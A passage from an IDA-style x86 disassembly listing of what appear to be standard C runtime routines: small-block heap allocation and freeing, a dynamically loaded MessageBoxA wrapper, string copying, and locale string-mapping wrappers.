XREF: sub_403E83+60j ; sub_403E83+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_403F49: ; CODE XREF: sub_403E83+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_403F57 push 3Fh pop edi loc_403F57: ; CODE XREF: sub_403E83+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_404006 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_403F82 mov [ebp+arg_4], edx mov ecx, edx loc_403F82: ; CODE XREF: sub_403E83+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_403F94 mov edi, edx loc_403F94: ; CODE XREF: sub_403E83+10Dj cmp ecx, edi jz short loc_404003 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_403FEB mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_403FC7 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_403FEB mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_403FEB ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403E83+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_403FEB mov ecx, [ebp+arg_0] and [ecx+4], edx loc_403FEB: ; CODE XREF: sub_403E83+11Ej ; sub_403E83+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_404003: ; CODE XREF: sub_403E83+113j mov edx, [ebp+var_8] loc_404006: ; CODE XREF: sub_403E83+DDj cmp [ebp+var_14], 0 jnz short loc_404015 cmp [ebp+arg_4], edi jz loc_40409E loc_404015: ; CODE XREF: sub_403E83+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_40409E mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_404072 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_404061 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_404061: ; CODE XREF: sub_403E83+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_40409B ; --------------------------------------------------------------------------- loc_404072: ; CODE XREF: sub_403E83+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_404088 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_404088: ; CODE XREF: sub_403E83+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_40409B: ; CODE XREF: sub_403E83+1EDj mov ebx, [ebp+var_C] loc_40409E: ; CODE XREF: sub_403E83+18Cj ; sub_403E83+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_4041A9 mov eax, dword_407284 test eax, eax jz loc_40419B mov ecx, dword_40727C mov edi, dword_405094 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; dword_405094 mov ecx, dword_40727C mov eax, dword_407284 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_407284 mov ecx, dword_40727C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_407284 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_407284 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_404129 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_407284 loc_404129: ; CODE XREF: sub_403E83+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_40419B push ebx push 0 push dword ptr [eax+0Ch] call edi ; dword_405094 mov eax, dword_407284 push dword ptr [eax+10h] push 0 push dword_4074C8 call dword_405090 ; RtlFreeHeap mov eax, dword_407288 mov edx, dword_40728C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_407284 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_404A60 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_407288 cmp eax, dword_407284 jbe short loc_40418D sub eax, 14h loc_40418D: ; CODE XREF: sub_403E83+305j mov ecx, dword_40728C mov dword_407280, ecx jmp short loc_40419E ; --------------------------------------------------------------------------- loc_40419B: ; CODE XREF: sub_403E83+233j ; sub_403E83+2AAj mov eax, [ebp+arg_0] loc_40419E: ; CODE XREF: sub_403E83+316j mov dword_407284, eax mov dword_40727C, esi loc_4041A9: ; CODE XREF: sub_403E83+226j pop edi pop esi pop ebx leave retn sub_403E83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041AE proc near ; CODE XREF: sub_403DE4+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_407288 mov edx, dword_40728C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_4041EE or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_4041FE ; --------------------------------------------------------------------------- loc_4041EE: ; CODE XREF: sub_4041AE+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_4041FE: ; CODE XREF: sub_4041AE+3Ej mov eax, dword_407280 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_404225 loc_40420C: ; CODE XREF: sub_4041AE+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404225 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_40420C loc_404225: ; CODE XREF: sub_4041AE+5Cj ; sub_4041AE+6Aj cmp ebx, [ebp+var_4] jnz short loc_4042A3 mov ebx, edx loc_40422C: ; CODE XREF: sub_4041AE+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_404248 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404246 add ebx, 14h jmp short loc_40422C ; --------------------------------------------------------------------------- loc_404246: ; CODE XREF: sub_4041AE+91j cmp ebx, eax loc_404248: ; CODE XREF: sub_4041AE+83j jnz short loc_4042A3 loc_40424A: ; CODE XREF: sub_4041AE+ADj cmp ebx, [ebp+var_4] jnb short loc_404260 cmp dword ptr [ebx+8], 0 jnz short loc_40425D add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_40424A ; --------------------------------------------------------------------------- loc_40425D: ; CODE XREF: sub_4041AE+A5j cmp ebx, [ebp+var_4] loc_404260: ; CODE XREF: sub_4041AE+9Fj jnz short loc_404288 mov ebx, edx loc_404264: ; CODE XREF: sub_4041AE+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_404278 cmp dword ptr [ebx+8], 0 jnz short loc_404276 add ebx, 14h jmp short loc_404264 ; --------------------------------------------------------------------------- loc_404276: ; CODE XREF: sub_4041AE+C1j cmp ebx, eax loc_404278: ; CODE XREF: sub_4041AE+BBj jnz short loc_404288 call sub_4044B7 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_40429C loc_404288: ; CODE XREF: sub_4041AE:loc_404260j ; sub_4041AE:loc_404278j push ebx call sub_404568 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4042A3 loc_40429C: ; CODE XREF: sub_4041AE+D8j xor eax, eax jmp loc_4044B2 ; --------------------------------------------------------------------------- loc_4042A3: ; CODE XREF: sub_4041AE+7Aj ; sub_4041AE:loc_404248j ... mov dword_407280, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_4042CA mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_404301 loc_4042CA: ; CODE XREF: sub_4041AE+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_4042FE loc_4042E7: ; CODE XREF: sub_4041AE+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_4042E7 loc_4042FE: ; CODE XREF: sub_4041AE+137j mov edx, [ebp+var_4] loc_404301: ; CODE XREF: sub_4041AE+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_40432A mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_40432A: ; CODE XREF: sub_4041AE+16Dj ; sub_4041AE+183j test ecx, ecx jl short loc_404333 shl ecx, 1 inc edi jmp short loc_40432A ; --------------------------------------------------------------------------- loc_404333: ; CODE XREF: sub_4041AE+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_404350 push 3Fh pop esi loc_404350: ; CODE XREF: sub_4041AE+19Dj cmp esi, edi jz loc_404465 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4043C1 cmp edi, 20h jge short loc_404390 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_4043BE mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_4043C1 ; --------------------------------------------------------------------------- loc_404390: ; CODE XREF: sub_4041AE+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_4043BE mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_4043C1 ; --------------------------------------------------------------------------- loc_4043BE: ; CODE XREF: sub_4041AE+1D6j ; sub_4041AE+203j mov ebx, [ebp+arg_0] loc_4043C1: ; CODE XREF: sub_4041AE+1B0j ; sub_4041AE+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_404471 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_404462 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_404433 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_404421 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_404421: ; CODE XREF: sub_4041AE+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_404462 ; --------------------------------------------------------------------------- loc_404433: ; CODE XREF: sub_4041AE+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_40444C lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_40444C: ; CODE XREF: sub_4041AE+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_404462: ; CODE XREF: sub_4041AE+24Ej ; sub_4041AE+283j mov ecx, [ebp+var_8] loc_404465: ; CODE XREF: sub_4041AE+1A4j test ecx, ecx jz short loc_404474 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_404474 ; --------------------------------------------------------------------------- loc_404471: ; CODE XREF: sub_4041AE+229j mov ecx, [ebp+var_8] loc_404474: ; CODE XREF: sub_4041AE+2B9j ; sub_4041AE+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_4044AA cmp ebx, dword_407284 jnz short loc_4044AA mov ecx, [ebp+var_4] cmp ecx, dword_40727C jnz short loc_4044AA and dword_407284, 0 loc_4044AA: ; CODE XREF: sub_4041AE+2E0j ; sub_4041AE+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_4044B2: ; CODE XREF: sub_4041AE+F0j pop edi pop esi pop ebx leave retn sub_4041AE endp ; =============== S U B R O U T I N E ======================================= sub_4044B7 proc near ; CODE XREF: sub_4041AE+CCp mov eax, dword_407288 mov ecx, dword_407278 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_4044FA lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_40728C push edi push dword_4074C8 call dword_405064 ; RtlReAllocateHeap cmp eax, edi jz short loc_40454A add dword_407278, 10h mov dword_40728C, eax mov eax, dword_407288 loc_4044FA: ; CODE XREF: sub_4044B7+11j mov ecx, dword_40728C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4074C8 lea esi, [ecx+eax*4] call dword_40506C ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_40454A push 4 push 2000h push 100000h push edi call dword_405068 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_40454E push dword ptr [esi+10h] push edi push dword_4074C8 call dword_405090 ; RtlFreeHeap loc_40454A: ; CODE XREF: sub_4044B7+30j ; sub_4044B7+67j xor eax, eax jmp short loc_404565 ; --------------------------------------------------------------------------- loc_40454E: ; CODE XREF: sub_4044B7+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_407288 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_404565: ; CODE XREF: sub_4044B7+95j pop edi pop esi retn sub_4044B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404568 proc near ; CODE XREF: sub_4041AE+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_40457A: ; CODE XREF: sub_404568+19j test eax, eax jl short loc_404583 shl eax, 1 inc ebx jmp short loc_40457A ; --------------------------------------------------------------------------- loc_404583: ; CODE XREF: sub_404568+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_404598: ; CODE XREF: sub_404568+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_404598 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_405068 ; VirtualAlloc test eax, eax jnz short loc_4045CB or eax, 0FFFFFFFFh jmp loc_40465E ; --------------------------------------------------------------------------- loc_4045CB: ; CODE XREF: sub_404568+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_404611 lea eax, [edi+10h] loc_4045D8: ; CODE XREF: sub_404568+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_4045D8 loc_404611: ; CODE XREF: sub_404568+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_40464E or [eax+4], edi loc_40464E: ; CODE XREF: sub_404568+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_40465E: ; CODE XREF: sub_404568+5Ej pop edi pop esi pop ebx leave retn sub_404568 endp ; =============== S U B R O U T I N E ======================================= sub_404663 proc near ; CODE XREF: sub_4036B9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_407240, ebx push esi push edi jnz short loc_4046B2 push offset aUser32_dll ; "user32.dll" call dword_405060 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4046E8 mov esi, dword_4050B0 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; dword_4050B0 test eax, eax mov dword_407240, eax jz short loc_4046E8 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; dword_4050B0 push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_407244, eax call esi ; dword_4050B0 mov dword_407248, eax loc_4046B2: ; CODE XREF: sub_404663+Bj mov eax, dword_407244 test eax, eax jz short loc_4046D1 call eax ; dword_407244 mov ebx, eax test ebx, ebx jz short loc_4046D1 mov eax, dword_407248 test eax, eax jz short loc_4046D1 push ebx call eax ; dword_407248 mov ebx, eax loc_4046D1: ; CODE XREF: sub_404663+56j ; sub_404663+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_407240 ; MessageBoxA loc_4046E4: ; CODE XREF: sub_404663+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4046E8: ; CODE XREF: sub_404663+1Cj ; sub_404663+33j xor eax, eax jmp short loc_4046E4 sub_404663 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4046F0 proc near ; CODE XREF: sub_4036B9+C5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_404773 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_404714 shr ecx, 2 jnz short loc_404781 jmp short loc_404735 ; --------------------------------------------------------------------------- loc_404714: ; CODE XREF: sub_4046F0+1Bj ; sub_4046F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_404742 test al, al jz short loc_40474A test esi, 3 jnz short loc_404714 mov ebx, ecx shr ecx, 2 jnz short loc_404781 loc_404730: ; CODE XREF: sub_4046F0+8Fj and ebx, 3 jz short loc_404742 loc_404735: ; CODE XREF: sub_4046F0+22j ; sub_4046F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_40476E dec ebx jnz short loc_404735 loc_404742: ; CODE XREF: sub_4046F0+2Bj ; sub_4046F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40474A: ; CODE XREF: sub_4046F0+2Fj test edi, 3 jz short loc_404764 loc_404752: ; CODE XREF: sub_4046F0+72j mov [edi], al inc edi dec ecx jz loc_4047E6 test edi, 3 jnz short loc_404752 loc_404764: ; CODE XREF: sub_4046F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_4047D7 loc_40476B: ; CODE XREF: sub_4046F0+7Fj ; sub_4046F0+F4j mov [edi], al inc edi loc_40476E: ; CODE XREF: sub_4046F0+4Dj dec ebx jnz short loc_40476B pop ebx pop esi loc_404773: ; CODE XREF: sub_4046F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_404779: ; CODE XREF: sub_4046F0+A9j ; sub_4046F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_404730 loc_404781: ; CODE XREF: sub_4046F0+20j ; sub_4046F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_404779 test dl, dl jz short loc_4047CB test dh, dh jz short loc_4047C1 test edx, 0FF0000h jz short loc_4047B7 test edx, 0FF000000h jnz short loc_404779 mov [edi], edx jmp short loc_4047CF ; --------------------------------------------------------------------------- loc_4047B7: ; CODE XREF: sub_4046F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_4047CF ; --------------------------------------------------------------------------- loc_4047C1: ; CODE XREF: sub_4046F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_4047CF ; --------------------------------------------------------------------------- loc_4047CB: ; CODE XREF: sub_4046F0+ADj xor edx, edx mov [edi], edx loc_4047CF: ; CODE XREF: sub_4046F0+C5j ; sub_4046F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_4047E1 loc_4047D7: ; CODE XREF: sub_4046F0+79j xor eax, eax loc_4047D9: ; CODE XREF: sub_4046F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_4047D9 loc_4047E1: ; CODE XREF: sub_4046F0+E5j and ebx, 3 jnz short loc_40476B loc_4047E6: ; CODE XREF: sub_4046F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4046F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4047EE proc near ; CODE XREF: sub_403BD6+BEp ; sub_403BD6+E6p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405498 push offset sub_4035A8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_40726C, edi jnz short loc_404864 push edi push edi push 1 pop ebx push ebx push offset dword_405448 mov esi, 100h push esi push edi call dword_4050AC ; LCMapStringW test eax, eax jz short loc_404842 mov dword_40726C, ebx jmp short loc_404864 ; --------------------------------------------------------------------------- loc_404842: ; CODE XREF: sub_4047EE+4Aj push edi push edi push ebx push offset dword_4070C8 push esi push edi call dword_4050B4 ; LCMapStringA test eax, eax jz loc_40497C mov dword_40726C, 2 loc_404864: ; CODE XREF: sub_4047EE+2Ej ; sub_4047EE+52j cmp [ebp+arg_C], edi jle short loc_404879 push [ebp+arg_C] push [ebp+arg_8] call sub_404A12 pop ecx pop ecx mov [ebp+arg_C], eax loc_404879: ; CODE XREF: sub_4047EE+79j mov eax, dword_40726C cmp eax, 2 jnz short loc_4048A0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4050B4 ; LCMapStringA jmp loc_40497E ; --------------------------------------------------------------------------- loc_4048A0: ; CODE XREF: sub_4047EE+93j cmp eax, 1 jnz loc_40497C cmp [ebp+arg_18], edi jnz short loc_4048B6 mov eax, dword_407264 mov [ebp+arg_18], eax loc_4048B6: ; CODE XREF: sub_4047EE+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_405084 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_40497C mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_4026C0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_404911 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_404911: ; CODE XREF: sub_4047EE+10Ej cmp [ebp+var_24], edi jz short loc_40497C push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_405084 ; MultiByteToWideChar test eax, eax jz short loc_40497C push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4050AC ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_40497C test byte ptr [ebp+arg_4+1], 4 jz short loc_404990 cmp [ebp+arg_14], edi jz loc_404A0B cmp esi, [ebp+arg_14] jg short loc_40497C push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4050AC ; LCMapStringW test eax, eax jnz loc_404A0B loc_40497C: ; CODE XREF: sub_4047EE+66j ; sub_4047EE+B5j ... xor eax, eax loc_40497E: ; CODE XREF: sub_4047EE+ADj ; sub_4047EE+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_404990: ; CODE XREF: sub_4047EE+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4026C0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4049C4 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4049C4: ; CODE XREF: sub_4047EE+1C2j cmp ebx, edi jz short loc_40497C push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4050AC ; LCMapStringW test eax, eax jz short loc_40497C cmp [ebp+arg_14], edi push edi push edi jnz short loc_4049EB push edi push edi jmp short loc_4049F1 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4047EE+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4049F1: ; CODE XREF: sub_4047EE+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_4050C0 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_40497C loc_404A0B: ; CODE XREF: sub_4047EE+165j ; sub_4047EE+188j mov eax, esi jmp loc_40497E sub_4047EE endp ; =============== S U B R O U T I N E ======================================= sub_404A12 proc near ; CODE XREF: sub_4047EE+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_404A2F loc_404A22: ; CODE XREF: sub_404A12+1Bj cmp byte ptr [eax], 0 jz short loc_404A2F inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_404A22 loc_404A2F: ; CODE XREF: sub_404A12+Ej ; sub_404A12+13j cmp byte ptr [eax], 0 pop esi jnz short loc_404A3A sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_404A3A: ; CODE XREF: sub_404A12+21j mov eax, edx retn sub_404A12 endp ; =============== S U B R O U T I N E ======================================= sub_404A3D proc near ; CODE XREF: sub_403DB8+1Fp arg_0 = dword ptr 4 mov eax, dword_407274 test eax, eax jz short loc_404A55 push [esp+arg_0] call eax ; dword_407274 test eax, eax pop ecx jz short loc_404A55 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_404A55: ; CODE XREF: sub_404A3D+7j ; sub_404A3D+12j xor eax, eax retn sub_404A3D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A60 proc near ; CODE XREF: sub_403E83+2EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, 